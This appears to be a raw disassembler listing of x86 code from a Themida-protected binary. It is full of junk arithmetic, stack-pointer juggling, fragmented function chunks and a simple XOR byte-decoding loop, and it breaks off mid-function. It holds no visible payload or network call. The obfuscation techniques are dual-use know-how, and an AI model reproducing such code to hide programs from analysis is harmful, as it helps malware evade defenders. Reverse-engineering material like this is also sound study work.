; START OF FUNCTION CHUNK FOR sub_555BE3
loc_55914E: ; CODE XREF: sub_555BE3+Bj
mov [esp+8+var_8], esp
jmp loc_55752D
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559156: ; CODE XREF: sub_559C84-23AFj
push esi
mov esi, 2B8C51B0h
jmp loc_55D741
; ---------------------------------------------------------------------------
loc_559161: ; CODE XREF: sub_559C84-60DFj
push edx
mov dl, 6Eh
shr dl, 5
dec dl
shr dl, 7
jmp loc_55F4F8
; ---------------------------------------------------------------------------
loc_559171: ; CODE XREF: sub_559C84+19FDj
sub edx, 179700F5h
jmp loc_554884
; ---------------------------------------------------------------------------
loc_55917C: ; CODE XREF: sub_559C84+49D2j
mov ebp, [esp+32h+var_34+2]
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55918A: ; CODE XREF: sub_559C84+5156j
pop esp
jmp loc_55E0AF
; ---------------------------------------------------------------------------
loc_559190: ; CODE XREF: sub_559C84+306Cj
xor edi, esi
jmp loc_55C4FB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
push edi
push esp
pop edi
push ecx
mov ecx, 4
add edi, ecx
mov ecx, [esp]
add esp, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_55E0A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5591BF: ; CODE XREF: sub_559C84-30C2j
mov [esp+52h+var_52], ecx
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5591C7 proc near ; CODE XREF: sub_559C84-195Bj
; FUNCTION CHUNK AT 00554198 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555414 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557632 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00558A3F SIZE 00000007 BYTES
push ebx
mov ebx, 4B375862h
inc ebx
sub ebx, 0F15A0866h
jmp loc_558A3F
sub_5591C7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5591D9: ; CODE XREF: sub_559C84+184Bj
sub al, 59h
push bx
mov bl, 8Dh
sub al, bl
pop bx
pop ecx
push small 2D3Ch
mov word ptr [esp+50h+var_52+2], cx
push 30CAh
mov [esp+0], ebx
mov bh, 0BDh
or bh, 37h
inc bh
xor bh, 1Eh
shr bh, 8
push edx
mov dh, 1
sub bh, dh
pop edx
push edx
push eax
mov al, 0F4h
mov dh, al
pop eax
sub bh, dh
pop edx
push eax
push ecx
mov ch, 8Eh
jmp loc_55D521
; ---------------------------------------------------------------------------
loc_55921A: ; CODE XREF: sub_559C84+1A9Ej
pop ebx
jmp loc_553A16
; ---------------------------------------------------------------------------
loc_559220: ; CODE XREF: sub_559C84+635j
add ebx, 4
add ebx, 4
xchg ebx, [esp+58h+var_58]
pop esp
push edx
push 4
jmp loc_557393
; ---------------------------------------------------------------------------
loc_559238: ; CODE XREF: sub_559C84+2183j
add ebx, 4
add ebx, 4
jmp loc_55F7BD
; ---------------------------------------------------------------------------
loc_559246: ; CODE XREF: sub_559C84-D87j
pop ebp
push edx
mov edx, 4
add ebp, edx
jmp loc_55F746
; ---------------------------------------------------------------------------
loc_559254: ; CODE XREF: sub_559C84-60ACj
sub eax, 518A4A9Ah
sub eax, edx
add eax, 518A4A9Ah
pop edx
add eax, 14EF17DEh
jmp loc_55A8D8
; ---------------------------------------------------------------------------
loc_55926B: ; CODE XREF: sub_559C84+45B0j
mov ebp, 4
push edx
jmp loc_5586A2
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_559276: ; CODE XREF: Themida_:005583C7j
push edi
mov edi, 4
sub edx, edi
pop edi
xchg edx, [esp]
pop esp
jmp loc_556729
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559288: ; CODE XREF: sub_559C84+10BFj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+18h+var_18]
jmp loc_5571A4
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55929E proc near ; CODE XREF: sub_559C84-2437j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005557D1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055768B SIZE 00000015 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 4
add ebp, eax
pop eax
sub ebp, 2
push 6D42h
mov [esp+4+var_4], ebp
jmp loc_5557D1
sub_55929E endp
; ---------------------------------------------------------------------------
loc_5592BC: ; CODE XREF: Themida_:005582F1j
xor ebp, [esp]
pop esp
mov [esp], eax
sub esp, 4
jmp loc_5589DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5592CE: ; CODE XREF: sub_559C84+5AA4j
add esi, 4
add esi, 4
jmp loc_55F4EF
; ---------------------------------------------------------------------------
loc_5592DC: ; CODE XREF: sub_559C84+ABFj
add [esp+18h+var_10], edx
pop edx
pop edi
push [esp+10h+var_10]
pop eax
push ecx
push esp
pop ecx
jmp loc_556AC3
; ---------------------------------------------------------------------------
loc_5592EE: ; CODE XREF: sub_559C84-2207j
xchg edi, [esp-0Eh+arg_8+2]
pop esp
mov [esp-12h+arg_C+2], ebp
push [esp-12h+arg_10+2]
pop ebp
pop [esp-12h+arg_C+2]
mov esp, [esp-16h+arg_10+2]
mov dx, word ptr [esp-16h+arg_10+2]
jmp loc_555EEB
; ---------------------------------------------------------------------------
loc_559309: ; CODE XREF: sub_559C84-FC1j
push edx
jmp loc_558AA7
; ---------------------------------------------------------------------------
loc_55930F: ; CODE XREF: sub_559C84-3C82j
pop ebx
push 5229h
mov [esp+4Ah+var_4A], ebp
push edi
mov edi, 2D6E7C11h
jmp loc_55DE89
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_559323: ; CODE XREF: Themida_:005599DAj
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], eax
mov eax, esp
jmp loc_55F9B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559334: ; CODE XREF: sub_559C84-5C1Dj
sub ebp, 4DB87C9Eh
add eax, ebp
pop ebp
sub eax, 4
xchg eax, [esp+0]
pop esp
mov [esp-6+arg_0+2], ecx
push ebp
mov ebp, 18525C3Fh
push edi
push ebx
mov ebx, 2BB56CCFh
mov edi, 2C16CFC5h
sub edi, ebx
pop ebx
xor ebp, edi
mov edi, [esp+2+var_4+2]
add esp, 4
mov ecx, ebp
pop ebp
sub eax, ecx
push [esp-6+arg_0+2]
pop ecx
add esp, 4
jmp loc_557351
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5538DF
loc_559375: ; CODE XREF: sub_5538DF+4D78j
add al, cl
pop ecx
sub ch, al
pop eax
inc ch
xor ch, 13h
sub ch, 0B8h
jmp loc_55A282
; END OF FUNCTION CHUNK FOR sub_5538DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559388: ; CODE XREF: sub_559C84+36C9j
push 1E59h
mov [esp-6+arg_0+2], eax
jmp loc_55EBB4
; ---------------------------------------------------------------------------
loc_559395: ; CODE XREF: sub_559C84+133Aj
add eax, 6B882492h
sub eax, 5801188Bh
mov ebp, [esp-6+arg_0+2]
jmp loc_55A29D
; ---------------------------------------------------------------------------
loc_5593A7: ; CODE XREF: sub_559C84+38EAj
dec word ptr [esp-6+arg_0+2]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5593B1: ; CODE XREF: sub_559C84-1101j
push [esp+22h+var_24+2]
pop edi
add esp, 4
add ecx, 2
xor ecx, [esp+1Eh+var_20+2]
xor [esp+1Eh+var_20+2], ecx
xor ecx, [esp+1Eh+var_20+2]
mov esp, [esp+1Eh+var_20+2]
idiv cx
sub esp, 4
jmp loc_5542CD
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_5593D5: ; CODE XREF: sub_557976+7FB1j
dec dh
add dh, 52h
jmp loc_555012
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5593DF: ; CODE XREF: sub_559C84+6ADj
mov edx, 107A18D4h
add eax, edx
jmp loc_55C3A7
; ---------------------------------------------------------------------------
loc_5593EB: ; CODE XREF: sub_559C84-17B6j
pop ebx
sub al, 0DBh
sub al, ch
jmp loc_55EB97
; ---------------------------------------------------------------------------
loc_5593F5: ; CODE XREF: sub_559C84-1C92j
push 6CB6h
mov [esp+52h+var_52], eax
push 2495h
mov [esp+56h+var_58+2], esp
sub esp, 4
mov [esp+5Ah+var_5C+2], edi
mov edi, 4
add [esp+5Ah+var_58+2], edi
pop edi
pop eax
add eax, 4
add eax, 4
xor eax, [esp+52h+var_52]
xor [esp+52h+var_52], eax
xor eax, [esp+52h+var_52]
mov esp, [esp+52h+var_52]
add eax, 1B455BF8h
jmp sub_55E342
; ---------------------------------------------------------------------------
loc_559437: ; CODE XREF: sub_559C84-1C88j
pop edi
xor ebx, [esp+10h+var_10]
xor [esp+10h+var_10], ebx
xor ebx, [esp+10h+var_10]
jmp loc_55FBBF
; ---------------------------------------------------------------------------
loc_559446: ; CODE XREF: sub_559C84+32D7j
add eax, ebp
pop ebp
jmp loc_553B8C
; ---------------------------------------------------------------------------
loc_55944E: ; CODE XREF: sub_559C84-28F0j
add edi, edx
pop edx
add edi, 2
xor edi, [esp+50h+var_52+2]
jmp loc_55C47B
; ---------------------------------------------------------------------------
loc_55945F: ; CODE XREF: sub_559C84+4B20j
neg ch
push eax
mov al, 29h
jmp loc_558B0C
; ---------------------------------------------------------------------------
loc_559469: ; CODE XREF: sub_559C84-538Cj
add ebx, edx
jmp loc_55D7DE
; ---------------------------------------------------------------------------
loc_559470: ; CODE XREF: sub_559C84-546Aj
pop eax
add bl, 0C1h
add bl, al
sub bl, 0C1h
push eax
jmp loc_55C734
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
db 0ACh
dd 92E90B04h, 83FFFFE6h, 148904ECh, 0EC815024h, 4, 0BF243C89h
dd 27235F8Dh, 107DEF81h, 92E9F534h
db 3Fh, 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5594A7: ; CODE XREF: sub_559C84+2CC0j
pop edi
jmp loc_55F4A3
; ---------------------------------------------------------------------------
loc_5594AD: ; CODE XREF: sub_559C84+F30j
add edi, eax
pop eax
push edx
mov edx, 542D5347h
xor edx, 5FC96800h
sub edx, 0BE43B43h
add edi, edx
pop edx
xchg edi, [esp+44h+var_46+2]
pop esp
push dword ptr [edi+eax*4]
push [esp+44h+var_46+2]
pop eax
push edi
jmp loc_55BCFB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
push ebx
mov ebx, 5C4546FDh
jmp loc_55D612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5594F0: ; CODE XREF: sub_559C84-1EA2j
mov [esp+2+var_4+2], ecx
push eax
jmp loc_555F7D
; ---------------------------------------------------------------------------
loc_5594F9: ; CODE XREF: sub_559C84-2CFAj
pop ebp
add esp, 4
inc edi
push ebx
mov ebx, 5AFB40DAh
jmp loc_553EDF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_559509: ; DATA XREF: Themida_:00553260o
lodsb
xor al, bl
jmp loc_55AEAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559511: ; CODE XREF: sub_559C84+4297j
add ecx, edx
pop edx
jmp loc_55A5A3
; ---------------------------------------------------------------------------
loc_559519: ; CODE XREF: sub_559C84+464Dj
push 7F0Eh
mov [esp+10h+var_10], eax
push esi
mov esi, 56150EF7h
jmp loc_556C12
; ---------------------------------------------------------------------------
loc_55952C: ; CODE XREF: sub_559C84+2994j
push edx
mov dh, cl
jmp loc_5580CC
; ---------------------------------------------------------------------------
loc_559534: ; CODE XREF: sub_559C84+5815j
add eax, ebx
push [esp+18h+var_18]
pop ebx
add esp, 4
jmp sub_55DC14
; ---------------------------------------------------------------------------
loc_559542: ; CODE XREF: sub_559C84-5297j
add ecx, edx
pop edx
sub ecx, 4
xchg ecx, [esp+42h+var_42]
pop esp
jmp loc_55E91B
; ---------------------------------------------------------------------------
loc_559551: ; CODE XREF: sub_559C84-6546j
sub ebx, 77B81706h
sub ebx, eax
add ebx, 77B81706h
push esi
jmp loc_55FBC7
; ---------------------------------------------------------------------------
loc_559565: ; CODE XREF: sub_559C84-2889j
pop ecx
jmp loc_55CF3C
; ---------------------------------------------------------------------------
loc_55956B: ; CODE XREF: sub_559C84+24C1j
or bh, 4
jmp loc_553A03
; ---------------------------------------------------------------------------
loc_559573: ; CODE XREF: sub_559C84-2824j
mov ecx, [esp+5Eh+var_60+2]
push edx
jmp loc_55C30A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55957C: ; CODE XREF: Themida_:0055717Ej
add [esp+4], ebx
jmp loc_555BBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559585: ; CODE XREF: sub_559C84-2701j
add [esp+50h+var_52+2], 4
pop ebx
add ebx, 4
push edx
mov edx, 2
add ebx, 21BB79F7h
sub ebx, edx
sub ebx, 21BB79F7h
jmp loc_556A78
; ---------------------------------------------------------------------------
loc_5595AC: ; CODE XREF: sub_559C84-5281j
add ecx, 0B51D1D4Bh
add eax, ecx
pop ecx
jmp loc_557728
; ---------------------------------------------------------------------------
loc_5595BA: ; CODE XREF: sub_559C84-3595j
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+4Eh+var_4E]
pop esp
sub ebp, 4
xor ebp, [esp+4Ah+var_4A]
jmp loc_559DC1
; ---------------------------------------------------------------------------
loc_5595D4: ; CODE XREF: sub_559C84+2590j
add ebx, 4
jmp loc_558CDA
; ---------------------------------------------------------------------------
loc_5595DF: ; CODE XREF: sub_559C84+2FB2j
xor edi, [esp+4Ah+var_4A]
mov esp, [esp+4Ah+var_4A]
idiv cl
movzx cx, ah
push small 34FAh
mov word ptr [esp+4Ch+var_4E+2], cx
jmp loc_553ED3
; ---------------------------------------------------------------------------
loc_5595F8: ; CODE XREF: sub_559C84-1F1Ej
pop ebp
sub eax, 682A6C97h
xor eax, 31536340h
neg eax
sub esp, 4
mov [esp+0], ebp
push esi
push 7D4E7291h
jmp loc_5565A8
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55598B
loc_559619: ; CODE XREF: sub_55598B+22j
xor ebp, eax
jmp loc_55A157
; END OF FUNCTION CHUNK FOR sub_55598B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559620: ; CODE XREF: sub_559C84+396Dj
pop ax
sub bl, 98h
add al, bl
pop ebx
push dx
push eax
jmp loc_559885
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_559630: ; DATA XREF: Themida_:0055326Co
push ecx
mov ecx, esp
jmp loc_5582BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559638: ; CODE XREF: sub_559C84+317Dj
add edx, 22A45D5Dh
add edx, ebx
sub edx, 22A45D5Dh
jmp loc_559944
; ---------------------------------------------------------------------------
loc_55964B: ; CODE XREF: sub_559C84-12EBj
add bl, al
pop eax
movzx eax, al
jmp loc_555D3E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E1F9
loc_559656: ; CODE XREF: sub_55E1F9+6j
add ebp, 16CE2B9Dh
jmp loc_55EFD0
; END OF FUNCTION CHUNK FOR sub_55E1F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559661: ; CODE XREF: sub_559C84+230Cj
mov ebp, esp
jmp loc_557445
; ---------------------------------------------------------------------------
loc_559668: ; CODE XREF: sub_559C84+3429j
mov ecx, 0
jmp loc_55E836
; ---------------------------------------------------------------------------
loc_559672: ; CODE XREF: sub_559C84-43B5j
add esi, 4
jmp loc_557FA0
; ---------------------------------------------------------------------------
loc_55967D: ; CODE XREF: sub_559C84+EFCj
xor ebp, 922947D7h
sub ebx, 186104E0h
jmp loc_55E5AB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55968E: ; CODE XREF: Themida_:0055630Dj
push eax
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
jmp loc_55FBD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55969F: ; CODE XREF: sub_559C84-32C5j
xor [esp+52h+var_52], edx
push edx
mov edx, esp
sub esp, 4
mov [esp+5Ah+var_5C+2], ecx
mov ecx, 73582E6Bh
dec ecx
sub ecx, 73652DB7h
jmp loc_55722C
; ---------------------------------------------------------------------------
loc_5596BF: ; CODE XREF: sub_559C84+2CABj
pop [esp+5Ah+var_5C+2]
mov esp, [esp+56h+var_58+2]
sar word ptr [esp+56h+var_58+2], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5596CF: ; CODE XREF: sub_559C84+5F81j
sub ebp, 0A96FA722h
xor esi, ebp
pop ebp
push ebp
mov ebp, 3B1F6FB7h
and esi, ebp
pop ebp
jmp loc_55603F
; ---------------------------------------------------------------------------
loc_5596E6: ; CODE XREF: sub_559C84+4AFAj
push edi
mov edi, 176C04A5h
xchg ecx, edi
not ecx
xchg ecx, edi
jmp loc_55C664
; ---------------------------------------------------------------------------
loc_5596F7: ; CODE XREF: sub_559C84-432Cj
pop esp
mov word ptr [esp-14h+arg_10], dx
jmp loc_55CF35
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
add dword ptr [esp], 4
pop eax
push 649h
jmp loc_55A1DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559713: ; CODE XREF: sub_559C84-3957j
add al, 0FCh
sub al, dl
jmp loc_55F7EE
; ---------------------------------------------------------------------------
loc_55971C: ; CODE XREF: sub_559C84-3C9Dj
push ax
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_559724: ; CODE XREF: Themida_:0055F869j
or esi, 3B727AF4h
add esi, 84048406h
jmp loc_55B2D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559735: ; CODE XREF: sub_559C84+34FCj
xor eax, [esp+18h+var_18]
pop esp
jmp loc_555862
; ---------------------------------------------------------------------------
loc_55973E: ; CODE XREF: sub_559C84-2A51j
shl ecx, 6
jmp loc_558459
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_559746: ; CODE XREF: Themida_:00554A10j
mov eax, [esp]
add esp, 4
jmp loc_55EEE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559754: ; CODE XREF: sub_559C84+4C46j
add esi, 9990DA5h
jmp loc_55E940
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_55975F: ; CODE XREF: sub_558BA2-5270j
pop esi
sub eax, 3753231Fh
add eax, edi
add eax, 3753231Fh
jmp loc_5578DA
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559771: ; CODE XREF: sub_559C84+10B1j
add esi, ecx
add esi, 1367558Ah
sub esi, 162C5EBBh
pop ecx
jmp loc_556D25
; ---------------------------------------------------------------------------
loc_559785: ; CODE XREF: sub_559C84+1E92j
pop ebx
add esi, ecx
pop ecx
push ecx
jmp loc_554D4B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_55978F: ; CODE XREF: sub_558BA2-12C3j
push edx
jmp loc_557852
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554517
loc_559795: ; CODE XREF: sub_554517+6j
or [edi+1Ch], esi
jmp loc_55AA17
; END OF FUNCTION CHUNK FOR sub_554517
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55979D: ; CODE XREF: sub_559C84+25F6j
pop esp
jmp loc_5549A7
; ---------------------------------------------------------------------------
loc_5597A3: ; CODE XREF: sub_559C84-3Ej
mov edx, 3187327Dh
mov eax, edx
mov edx, [esp+52h+var_52]
add esp, 4
xor ebp, eax
pop eax
or edx, ebp
pop ebp
push edi
mov edi, 6F063EFDh
jmp loc_55D8FC
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5597C1 proc near ; CODE XREF: sub_559C84-489Fj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553F39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055865C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559BF3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055DF06 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055F156 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], esi
push 2CD4h
mov [esp+8+var_8], ecx
mov ecx, 2673099h
not ecx
push 844h
mov [esp+0Ch+var_C], esi
mov esi, 0E8548A5h
add esi, 4E070A2Ah
dec esi
push ecx
mov ecx, 25FB0821h
and ecx, 742675F7h
and ecx, 2B7610CDh
shr ecx, 6
shl ecx, 8
inc ecx
add ecx, 83A463A4h
xor esi, ecx
pop ecx
add esi, 0A4F88DFBh
sub ecx, esi
jmp loc_55865C
sub_5597C1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559819: ; CODE XREF: sub_559C84+56ADj
push ecx
jmp loc_555294
; ---------------------------------------------------------------------------
loc_55981F: ; CODE XREF: sub_559C84-45EFj
xor esi, 0D9D6671Ah
sub ebx, esi
pop esi
sub ebx, esi
jmp loc_5547EF
; ---------------------------------------------------------------------------
loc_55982F: ; CODE XREF: sub_559C84+2EB2j
push esi
jmp loc_555260
; ---------------------------------------------------------------------------
loc_559835: ; CODE XREF: sub_559C84-42C5j
push [esp-14h+arg_14]
pop edx
pop [esp-14h+arg_10]
jmp loc_55DA90
; ---------------------------------------------------------------------------
loc_559842: ; CODE XREF: sub_559C84+114Fj
dec edx
xor edx, 5DC208CFh
push edi
mov edi, 386B4903h
dec edi
dec edi
dec edi
jmp loc_55538E
; ---------------------------------------------------------------------------
loc_559857: ; CODE XREF: sub_559C84-333Bj
mov ebx, 682F2B4Ch
xor ebx, ebp
pop ebp
sub ebx, 1B3E6033h
push ecx
jmp loc_5544BA
; ---------------------------------------------------------------------------
loc_55986B: ; CODE XREF: sub_559C84+1040j
add esi, 4
xchg esi, [esp-24h+arg_20]
pop esp
xor edi, [esp-28h+arg_24]
jmp loc_559053
; ---------------------------------------------------------------------------
loc_55987A: ; CODE XREF: sub_559C84-1C0Cj
xor edx, 431564AFh
jmp loc_554AAE
; ---------------------------------------------------------------------------
loc_559885: ; CODE XREF: sub_559C84-659j
mov ah, 2Fh
push cx
mov cl, 0AFh
mov dh, cl
pop cx
sub dh, 0C8h
jmp sub_55523E
; ---------------------------------------------------------------------------
loc_559897: ; CODE XREF: sub_559C84+1CC9j
sub esi, edi
jmp loc_5553A2
; ---------------------------------------------------------------------------
loc_55989E: ; CODE XREF: sub_559C84-2ED7j
shr ebx, 8
add ebx, 5E003F71h
mov ecx, ebx
pop ebx
and ecx, 774C079Bh
xor ecx, 308C29E0h
push edi
mov edi, 3EA17E2Bh
add edi, 66447BAEh
not edi
jmp loc_55FA35
; ---------------------------------------------------------------------------
loc_5598C9: ; CODE XREF: sub_559C84+461Bj
mov [esp+40h+var_42+2], eax
push esp
pop eax
push ebp
mov ebp, 4
jmp loc_5557B0
; ---------------------------------------------------------------------------
loc_5598D9: ; CODE XREF: sub_559C84+CA0j
pop ebx
push ecx
mov ecx, 0CB640E6h
jmp loc_55ECAA
; ---------------------------------------------------------------------------
loc_5598E5: ; CODE XREF: sub_559C84-203Cj
mov eax, esp
add eax, 4
jmp loc_55A810
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5598F1 proc near ; CODE XREF: sub_559C84-FAFj
var_4 = dword ptr -4
push ebp
mov ebp, 0B4D7882h
inc ebp
add ebp, 32B2DEE7h
xor edi, ebp
pop ebp
push 0
add [esp+4+var_4], 79990E99h
sub [esp+4+var_4], edi
sub [esp+4+var_4], 79990E99h
pop edi
jmp loc_55C02F
sub_5598F1 endp
; =============== S U B R O U T I N E =======================================
sub_55991D proc near ; CODE XREF: sub_559C84-56BCj
; FUNCTION CHUNK AT 005570BD SIZE 00000013 BYTES
push ebp
mov ebp, 7EE711E9h
inc ebp
jmp loc_5570BD
sub_55991D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559929: ; CODE XREF: sub_559C84-1EFj
pop esp
jmp loc_55DEF2
; ---------------------------------------------------------------------------
loc_55992F: ; CODE XREF: sub_559C84-30F6j
add eax, esi
pop esi
jmp loc_555952
; ---------------------------------------------------------------------------
loc_559937: ; CODE XREF: sub_559C84-313Dj
push eax
mov eax, 0DA64F99h
not eax
jmp loc_5550B2
; ---------------------------------------------------------------------------
loc_559944: ; CODE XREF: sub_559C84-63Ej
pop ebx
sub esp, 4
mov [esp+5Ch+var_5C], edx
push [esp+5Ch+var_58]
pop edx
pop [esp+5Ch+var_5C]
mov esp, [esp+58h+var_58]
push ebp
mov ebp, 6FA76ACh
sub ebp, 17E5215Fh
push edi
mov edi, 10EAACB3h
add ebp, 23C236F6h
add ebp, edi
push esi
sub esp, 4
mov [esp+68h+var_6A+2], ebp
mov ebp, 786F3D19h
or ebp, 0F96BC3h
and ebp, 5C3D53BEh
add ebp, 0B7981845h
mov esi, ebp
pop ebp
jmp loc_559B4D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_553F41
; =============== S U B R O U T I N E =======================================
sub_5599A2 proc near ; CODE XREF: sub_559C84+5F73j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00554BB7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055666C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558AB1 SIZE 00000043 BYTES
push ebx
jmp loc_558AB1
sub_5599A2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5599A8: ; CODE XREF: Themida_:00553F8Fj
sub eax, 6123F1Bh
add eax, ebp
add eax, 6123F1Bh
pop ebp
add eax, ebx
push ecx
push edx
jmp loc_55EA08
; ---------------------------------------------------------------------------
loc_5599BE: ; DATA XREF: Themida_:00553490o
xor [esp], esi
jmp loc_55A0BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5599C6: ; CODE XREF: sub_559C84+3E55j
add edi, ecx
pop ecx
shr edi, 8
jmp loc_55AB27
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5599D1: ; CODE XREF: Themida_:005564D2j
sub ecx, 4
xor ecx, [esp]
jmp loc_559323
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5599DF: ; CODE XREF: sub_559C84-1F99j
sub edx, 0D8C9BDC3h
jmp loc_55E2A4
; ---------------------------------------------------------------------------
loc_5599EA: ; CODE XREF: sub_559C84-57E8j
xor ecx, 8BF200h
add ebp, ecx
pop ecx
jmp loc_55D792
; ---------------------------------------------------------------------------
loc_5599F8: ; CODE XREF: sub_559C84-5EEEj
pop ebx
xor ch, 67h
push eax
push ecx
mov cl, 1Dh
shr cl, 4
inc cl
shl cl, 2
xor cl, 86h
shr cl, 8
add cl, 6Ch
mov al, cl
jmp loc_559115
; ---------------------------------------------------------------------------
loc_559A18: ; CODE XREF: sub_559C84-4DB7j
add esi, 4
jmp loc_553A0B
; ---------------------------------------------------------------------------
loc_559A23: ; CODE XREF: sub_559C84+770j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_559A28: ; CODE XREF: sub_559C84-4DB1j
pop edx
jmp loc_55A440
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_559A2E proc near ; CODE XREF: sub_559C84-BF2j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005558F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557616 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005585C0 SIZE 00000013 BYTES
push ebx
mov bh, 4Dh
xor ch, bh
pop ebx
jmp loc_557616
sub_559A2E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559A39: ; CODE XREF: sub_553ADA+2BACj
; sub_559C84-CCDj ...
push [esp+3Ah+var_3A]
pop ebx
push edi
sub esp, 4
